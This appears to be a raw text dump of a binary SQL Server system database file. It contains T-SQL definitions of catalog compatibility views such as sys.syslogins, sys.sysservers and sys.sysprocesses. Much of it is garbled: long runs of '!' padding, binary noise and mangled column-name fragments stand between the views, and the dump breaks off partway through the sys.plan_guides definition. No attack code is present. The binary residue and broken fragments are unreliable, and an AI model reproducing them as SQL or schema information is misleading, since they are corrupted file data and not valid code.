		colid, xoffset, bitpos, reserved, colstat, cdefault,
		domain, number, colorder, autoval, offset, collationid,
		language, status, type, usertype, printfmt, prec, scale,
		iscomputed, isoutparam, isnullable, collation, tdscollation
	FROM sys.syscolumns$
	WHERE has_access('RO', id) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!m`/)<.=O03@ 
8CREATE VIEW sys.syslogins AS SELECT
	sid = p.sid,
	status = convert(smallint, 8 +
		CASE WHEN m.state in ('G','W') THEN 1 ELSE 2 END),
	createdate = p.create_date,
	updatedate = p.modify_date,
	accdate = p.create_date,
	totcpu = convert(int, 0),
	totio = convert(int, 0),
	spacelimit = convert(int, 0),
	timelimit = convert(int, 0),
	resultlimit = convert(int, 0),
	name = p.name,
	dbname = p.default_database_name,
	password = convert(sysname, LoginProperty(p.name, 'PasswordHash')),
	language = p.default_language_name,
	denylogin = convert(int, CASE WHEN m.state ='D' THEN 1 ELSE 0 END),
	hasaccess = convert(int, CASE WHEN m.state in ('G','W') THEN 1 ELSE 0 END),
	isntname = convert(int, CASE WHEN p.type in ('G','U') THEN 1 ELSE 0 END),
	isntgroup = convert(int, CASE WHEN p.type='G' THEN 1 ELSE 0 END),
	isntuser = convert(int, CASE WHEN p.type='U' THEN 1 ELSE 0 END),
	sysadmin = convert(int, ISNULL ((SELECT 1 FROM sys.server_role_members WHERE member_principal_id = p.principal_id
		AND role_principal_id = 3), 0)), --x_MDLoginIdSysAdmin
	securityadmin = convert(int, ISNULL ((SELECT 1 FROM sys.server_role_members WHERE member_principal_id = p.principal_id
		AND role_principal_id = 4), 0)), --x_MDLoginIdSecAdmin
	serveradmin = convert(int, ISNULL ((SELECT 1 FROM sys.server_role_members WHERE member_principal_id = p.principal_id
		AND role_principal_id = 5), 0)), --x_MDLoginIdServAdmin
	setupadmin = convert(int, ISNULL ((SELECT 1 FROM sys.server_role_members WHERE member_principal_id = p.principal_id
		AND role_principal_id = 6), 0)), --x_MDLoginIdSetupAdmin
	processadmin = convert(int, ISNULL ((SELECT 1 FROM sys.server_role_members WHERE member_principal_id = p.principal_id
		AND role_principal_id = 7), 0)), --x_MDLoginIdProcAdmin
	diskadmin = convert(int, ISNULL ((SELECT 1 FROM sys.server_role_members WHERE member_principal_id = p.principal_id
		AND role_principal_id = 8), 0)), --x_MDLoginIdDiskAdmin
	dbcreator = convert(int, ISNULL ((SELECT 1 FROM sys.server_role_members WHERE member_principal_id = p.principal_id
		AND role_principal_id = 9), 0)), --x_MDLoginIdDBCreator
	bulkadmin = convert(int, ISNULL ((SELECT 1 FROM sys.server_role_members WHERE member_principal_id = p.principal_id
		AND role_principal_id = 10), 0)), --x_MDLoginIdBulkAdmin
	loginname = p.name
FROM sys.server_principals p LEFT JOIN master.sys.sysprivs m
	ON m.class = 100 AND m.id = 0 AND m.subid = 0 AND m.grantee = p.principal_id AND m.grantor = 1 AND m.type = 'COSQ'
WHERE p.type <> 'R'
05@ 8CREATE VIEW sys.sysdevices AS
	SELECT name, size=convert(int, 0),
		low=convert(int, 0),
		high=convert(int, 0),
		status=convert(smallint, 16),
		cntrltype=convert(smallint, type),
		phyname = physical_name
	FROM sys.backup_devices
04@ p8CREATE VIEW sys.syslockinfo AS
	SELECT *
	FROM OpenRowSet(TABLE SYSLOCKINFO)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!g
x`.<;
/ܡ0,@ 8CREATE VIEW sys.sysservers AS SELECT
	srvid = convert(smallint, server_id),
	srvstatus = convert(smallint,
		is_remote_login_enabled + is_publisher * 2
		+ is_subscriber * 4 + is_distributor * 8
		+ is_linked * 32 + is_rpc_out_enabled * 64
		+ is_data_access_enabled * 128 + is_collation_compatible * 256
		+ is_system * 512 + uses_remote_collation * 1024
		+ lazy_schema_validation * 2048 + is_nonsql_subscriber * 4096),
	srvname = name,
	srvproduct = product,
	providername = case when UPPER(provider) = N'SQLNCLI' then N'SQLOLEDB' else provider end,
	datasource = data_source,
	location,
	providerstring = provider_string,
	schemadate = modify_date,
	topologyx = convert(int, 0),
	topologyy = convert(int, 0),
	catalog,
	srvcollation = convert(sysname, collationproperty(collation_name, 'collationid')),
	connecttimeout = connect_timeout,
	querytimeout = query_timeout,
	srvnetname = convert(char(30), case when (product = N'SQL Server') then data_source end),
	isremote = sysconv(bit, 1 - is_linked),
	rpc = is_remote_login_enabled,
	pub = is_publisher,
	sub = is_subscriber,
	dist = is_distributor,
	dpub = sysconv(bit, is_distributor & is_publisher),
	rpcout = is_rpc_out_enabled,
	dataaccess = is_data_access_enabled,
	collationcompatible = is_collation_compatible,
	system = is_system,
	useremotecollation = uses_remote_collation,
	lazyschemavalidation = lazy_schema_validation,
	collation = collation_name,
	nonsqlsub = is_nonsql_subscriber
FROM sys.servers
0-@ V8CREATE VIEW sys.sysremotelogins AS
	SELECT
		remoteserverid = convert(smallint, r.server_id),
		remoteusername = r.remote_name,
		status = convert(smallint, 0),
		p.sid,
		changedate = r.modify_date
	FROM sys.remote_logins r
	LEFT JOIN sys.server_principals p ON r.local_principal_id = p.principal_id
01@ 8CREATE VIEW sys.sysoledbusers AS
	SELECT
		rmtsrvid = convert(smallint, r.server_id),
		rmtloginame = r.remote_name,
		rmtpassword = convert(sysname, null),
		loginsid = p.sid,
		status = convert(smallint, r.uses_self_credential),
		changedate = r.modify_date
	FROM sys.linked_logins r
	LEFT JOIN sys.server_principals p ON r.local_principal_id = p.principal_id
02@ 8CREATE VIEW sys.sysmessages AS
	SELECT
		message_id AS error,
		severity,
		convert(smallint, is_event_logged * 128) AS dlevel,
		convert(nvarchar(255), text) AS description,
		language_id AS msglangid
	FROM sys.messages
00@ n8CREATE VIEW sys.sysopentapes AS
	SELECT * FROM OpenRowset (TABLE OPENTAPES)
0/ p8CREATE VIEW sys.sysperfinfo AS
 	SELECT * from sys.dm_os_performance_counters
0.@ 
8CREATE VIEW sys.sysprocesses AS
	SELECT 
	spid,
	kpid,
	blocked,
	waittype,
	waittime,
	lastwaittype,
	waitresource,
	dbid,
	uid = convert(smallint, uid),
	cpu,
	physical_io,
	memusage,
	login_time,
	last_batch,
	ecid,
	open_tran,
	status,
	sid,
	hostname,
	program_name,
	hostprocess,
	cmd,
	nt_domain,
	nt_username,
	net_address,
	net_library,
	loginame,
	context_info,
	sql_handle,
	stmt_start,
	stmt_end,
	request_id
	FROM OpenRowSet(TABLE SYSPROCESSES)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!P_7`3-1)2~.0-Mpartition_id0-88
Gobject_id0-88
Eindex_id0-88
Upartition_number0-=rows0-44cfilestream_filegroup_id0-hhKis_orphaned0-00edropped_lob_column_state0-	hhGis_unique0-
hhOis_replicated0-hhgis_logged_for_replication0-hhSis_sereplicated0-
44Wmax_null_bit_used0-88
Smax_leaf_length0-44Smin_leaf_length0-44[max_internal_length0-44[min_internal_length0-hh]allows_nullable_keys0-hhSallow_row_locks0-hhUallow_page_locks0-hhYis_data_row_format0-hhUis_not_versioned0-$$Sfilestream_guid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?>+.t%y.9`-2)6	3~FYW70-Mpartition_id0-88
[partition_column_id0-Qmodified_count0-44Umax_inrow_length0-hhOis_replicated0-hhgis_logged_for_replication0-hhIis_dropped0-00Qsystem_type_id0-	44Imax_length0-
00Gprecision0-00?scale0-Qcollation_name0-
hhOis_filestream0-44Kkey_ordinal0-hhKis_nullable0-hhWis_descending_key0-hhQis_uniqueifier0-44Kleaf_offset0-44Sinternal_offset0-00Wleaf_bit_position0-00_internal_bit_position0-44Oleaf_null_bit0-44Winternal_null_bit0-hhQis_anti_matter0-$$_partition_column_guid0-hhGis_sparse0-hhKhas_default0-bbPPOdefault_value!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!UNIZmGdY`-+)4].k5<-4Qcomponent_name<-Odatabase_name<-Kschema_name<-Kobject_name<-00?state<-=type0-
88
Ocredential_id0-
$$Kfamily_guid0-88
Kdatabase_id0-$$Odatabase_guid0-$$Kfamily_guid0-ll

[last_log_backup_lsn0-$$Yrecovery_fork_guid0-$$efirst_recovery_fork_guid0-ll

Qfork_point_lsn0-88
Kdatabase_id0-$$Qmirroring_guid0-00Smirroring_state0-xx]mirroring_state_desc0-00Qmirroring_role0-xx[mirroring_role_desc0-88
cmirroring_role_sequence0-00amirroring_safety_level0-	xxkmirroring_safety_level_desc0-
88
gmirroring_safety_sequence0-4amirroring_partner_name0-4imirroring_partner_instance0-
4amirroring_witness_name0-00cmirroring_witness_state0-xxmmirroring_witness_state_desc0-ll

amirroring_failover_lsn0-88
mmirroring_connection_timeout0-88
]mirroring_redo_queue0-xxgmirroring_redo_queue_type0-ll

emirroring_end_of_log_lsn0-ll

gmirroring_replication_lsn0-88
Ocredential_id0-4=name0-@@[credential_identity0-==Kcreate_date0-==Kmodify_date0-xxKtarget_type0-88
Gtarget_id0-4Qcomponent_name0-Odatabase_name0-Kschema_name0-Kobject_name0-00?state0-=type!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!_
n
1
{R


	S	"VGFEFaf'B5-<+)5 W%0-=name0-88
Gobject_id0-88
Mprincipal_id0-88
Gschema_id0-88
Uparent_object_id0-=type0-xxGtype_desc0-88
Eproperty0-	==Kcreate_date0-
==Kmodify_date0-hhOis_ms_shipped0-hhSis_auto_dropped0-
hhSis_system_named0-hhMis_published0-hh[is_schema_published0-hhIis_cycling0-hhWlock_on_bulk_load0-hhKis_disabled0-hhUis_auto_executed0-hh_is_activation_enabled0-hh[has_opaque_metadata0-hhais_not_for_replication0-hhYis_receive_enabled0-hhGis_cached0-hhQis_not_trusted0-hhYis_enqueue_enabled0-hhWwith_check_option0-hh]is_retention_enabled0-hhkhas_unchecked_assembly_data0-00gupdate_referential_action0-00gdelete_referential_action0- hhOis_replicated0-!hhcis_execution_replicated0-"hhahas_replication_filter0-#hhgis_repl_serializable_only0-$hhYis_merge_published0-%hhaskips_repl_constraints0-&hhcis_sync_tran_subscribed0-'hhSuses_ansi_nulls0-(hhYnull_on_null_input0-)hhcuses_database_collation0-*hhWis_tracked_by_cdc0-+hhmlarge_value_types_out_of_row!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!X
E
.n

[
		"	n}$h	in!{,Q
x1`Q
-P
()fJ6tr0-hhM@raise_error0-I88
aclassifier_function_id0-I00iis_reconfiguration_pending0-88
A@artid0-88
?@mode0-00Q@publishertype0-88
C@format0-O@identity_col0-C@ts_col0-E@op_type0-88
A@objid0-88
C@indent0-[@primary_key_bitmap-ی88
0-ی00O@unit_of_time0-ی==E@curdate0-W@capture_instance0-b(G@job_type0-t(G@job_type0-t88
G@maxtrans0-t88
G@maxscans0-thhK@continuous0-tU@pollinginterval0-tI@retention0-tI@threshold-0hh0-0Q@filter_clause0-0C@column0-088
A@objid0-^88
E@maxrows0-^I@temp_cont0-^88
I@tablenick0-^$$E@rowguid0-^$$A@pubid0-^88
M@compatlevel0-^hh@return_count_of_rows_initially_enumerated0-^hha@enumentirerowmetadata0-^	hh_@blob_cols_at_the_end0-^
$$e@maxschemaguidforarticle0-i88
A@objidQtotal_clr_time0-nwOlast_clr_time0-nwMmin_clr_time0-nwMmax_clr_time0-nwYtotal_elapsed_time0-nwWlast_elapsed_time0-nwUmin_elapsed_time0-nw Umax_elapsed_time0-nw!Iquery_hash0-nw"Squery_plan_hash0-I88
aclassifier_function_id0-I00iis_reconfiguration_pending0-|U88
Q@cursor_return0-|U88
O@cursor_scope0-'(KC@server0-'(KK@srvproduct0-'(KG@provider0-'(K@E@datasrc0-'(K@G@location0-'(K@E@provstr0-'(KE@catalog0-(88
Isession_id0-(Qtransaction_id0-(atransaction_descriptor0-(88
Menlist_count0-(hh[is_user_transaction0-(hhEis_local0-(hhKis_enlisted0-(hhEis_bound0-(	88
aopen_transaction_count0-(
88
Kpdw_node_id0-vqM@view_schema0-,U@assembly_schema0-,88
]@assembly_referenced0-88
A@artid0-88
?@mode0-00Q@publishertype0-88
C@format0-O@identity_col0-C@ts_col0-E@op_type0-88
A@objid0-88
C@indent0-[@primary_key_bitmap-ی88
0-ی00O@unit_of_time0-ی==E@curdate0-4
hhI@no_checks0-4
hh[@ignore_distributor0-UI@publisher0-Ei$$C@job_id0-$b88
K@session_id0-$S@primary_server0-$W@primary_database0-W@capture_instance0-b(G@job_type0-t(G@job_type0-t88
G@maxtrans0-t88
G@maxscans0-thhK@continuous0-tU@pollinginterval0-tI@retention0-tI@threshold-0hh0-0Q@filtby2p-E
[

		?	rAbHw	]`:-	
E)
7	}>0-`O@file_pattern0-`Y@initial_file_name0-`]@audit_record_offset0-m88
I@object_id0-m88
G@stats_id0-m88
Gobject_id0-m88
Estats_id0-m**Mlast_updated0-m=rows0-mMrows_sampled0-m88
?steps0-mSunfiltered_rows0-m]modification_counter0-$$Sconversation_id0-hhMis_initiator0-4Sto_service_name0-4Yto_broker_instance0-4Wfrom_service_name0-4]from_broker_instance0-4cadjacent_broker_address0-cmessage_sequence_number0-	88
cmessage_fragment_number0-
00Qhops_remaining0-88
Mtime_to_live0-88
Otime_consumed0-
$$Imessage_id0-"q9Id0-"q00=Attr0-"qCLimitId0-"q@;WKB0-"qE@gGeoObj0-"q>>5?@minx0-"q>>5?@miny0-"q>>5?@maxx0-"q>>5?@maxy0-"q88
M@cardinality0-"q88
G@maxDepth0-"q88
W@tessellationMode0-"q	>>5S@distanceBuffer0-ӟ88
Mcomponent_id0-ӟ88
Kproperty_id0-ӟOproperty_name0-ӟOphysical_name0-ӟhhAis_key0-
44I@data_type0-
00K@best_match0-h=@cmd0-hhhA@debug-ğ88
0-ğ88
C@status0-ğ88
E@warning0-ğ88
W@publication_type-hh-o0-o88
W@source_object_id0-o88
I@column_id0-[$$A@pubid0-G@genstart0-$$A@pubid0-88
O@partition_id0-88
E@numgens0-]@mingen_to_enumerate0-]@maxgen_to_enumerate0-$88
I@tablenick0-$$$E@rowguid0-$7U@proxied_lineage0-$O@proxied_colv0-$hho@proxy_logical_record_lineage0-$88
M@compatlevelKpdw_node_id0-Elog_name0-Ilog_source0-Eevent_id0-Ievent_type0-@@Oevent_message0-==Ogenerate_time0-==Iwrite_time0-
44I@data_type0-
00K@best_match0-h=@cmd0-hhhA@debug0-K@agent_name0-88
I@runstatus0-k@=@cmd0-k88
A@force0-k88
C@indent-Ң88
0-I@publisher0-M@distributor0-K@subscriber0-I@distribdb0-M@publication0-E@article0-hhO@returnfilter0-I@publisher0-88
A@found0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-Y@subscription_type-ğ88
0-ğ88
C@status0-ğ88
E@warning0-ğ88
W@publication_type-hh-o_H]p
G:G[n}<lYO

feX<

o(

]

		_		ka$`
<	:8~j0@ 8CREATE VIEW sys.system_sql_modules AS
	SELECT o.object_id,
		definition = object_definition(o.object_id),
		uses_ansi_nulls = sysconv(bit, 1),
		uses_quoted_identifier = sysconv(bit, 1),
		is_schema_bound = sysconv(bit, 0),
		uses_database_collation = sysconv(bit, 0),
		is_recompiled = sysconv(bit, 0),
		null_on_null_input = sysconv(bit, 0),
		execute_as_principal_id = convert(int, NULL)
	FROM sys.system_objects o
	WHERE o.type IN ('P','V','FN','IF','TF','RF','IS')
0 8CREATE VIEW sys.system_internals_partitions AS
	SELECT rs.rowsetid AS partition_id,
		rs.idmajor AS object_id,
		rs.idminor AS index_id,
		rs.numpart AS partition_number,
		isnull(ct.rows, rs.rcrows) AS rows,
		rs.fgidfs AS filestream_filegroup_id,
		convert(bit, 1-rs.ownertype) AS is_orphaned,
		convert(tinyint, rs.status & 3) AS dropped_lob_column_state,	--RS_LOBSTAT_*
		convert(bit, rs.status & 4) AS is_unique,					--RS_UNIQUE
		convert(bit, rs.status & 8) AS is_replicated,					--RS_REPLICATED
		convert(bit, rs.status & 16) AS is_logged_for_replication,		--RS_LOG_OFFROW_FOR_REPL
		sysconv(bit, rs.status & 1073741824) AS is_sereplicated,				--RS_SEREPLICATED
		rs.maxnullbit AS max_null_bit_used,
		rs.maxleaf AS max_leaf_length,
		rs.minleaf AS min_leaf_length,
		rs.maxint AS max_internal_length,
		rs.minint AS min_internal_length,
		convert(bit, rs.status & 64) AS allows_nullable_keys,			--RS_NULLABLE_KEYS
		convert(bit, 1-(rs.status & 128)/128) AS allow_row_locks,	--RS_NO_ROWLOCK
		convert(bit, 1-(rs.status & 256)/256) AS allow_page_locks,	--RS_NO_PAGELOCK
		convert(bit, rs.status & 512) AS is_data_row_format,			--RS_DATAROW_FRMT
		convert(bit, rs.status & 2048) AS is_not_versioned,			--RS_NOTVERSIONED
		convert(uniqueidentifier, rs.rsguid) AS filestream_guid
	FROM sys.sysrowsets rs OUTER APPLY OpenRowset(TABLE ALUCOUNT, rs.rowsetid, 0, 0) ct
0@ 8CREATE VIEW sys.plan_guides AS
	SELECT 
		plan_guide_id 	= g.id,
		name 		= g.name, 
		create_date 	= g.created,
		modify_date 	= g.modified,
		is_disabled 	= sysconv(bit, g.status & 1),
		query_text 	= convert(nvarchar(max), p.stmt),
		scope_type 	= g.scopetype,
		scope_type_desc 	= convert(nvarchar(60), case g.scopetype 
								when  1 then 'OBJECT' 
								when  2 then 'SQL'
								else 'TEMPLATE' end),
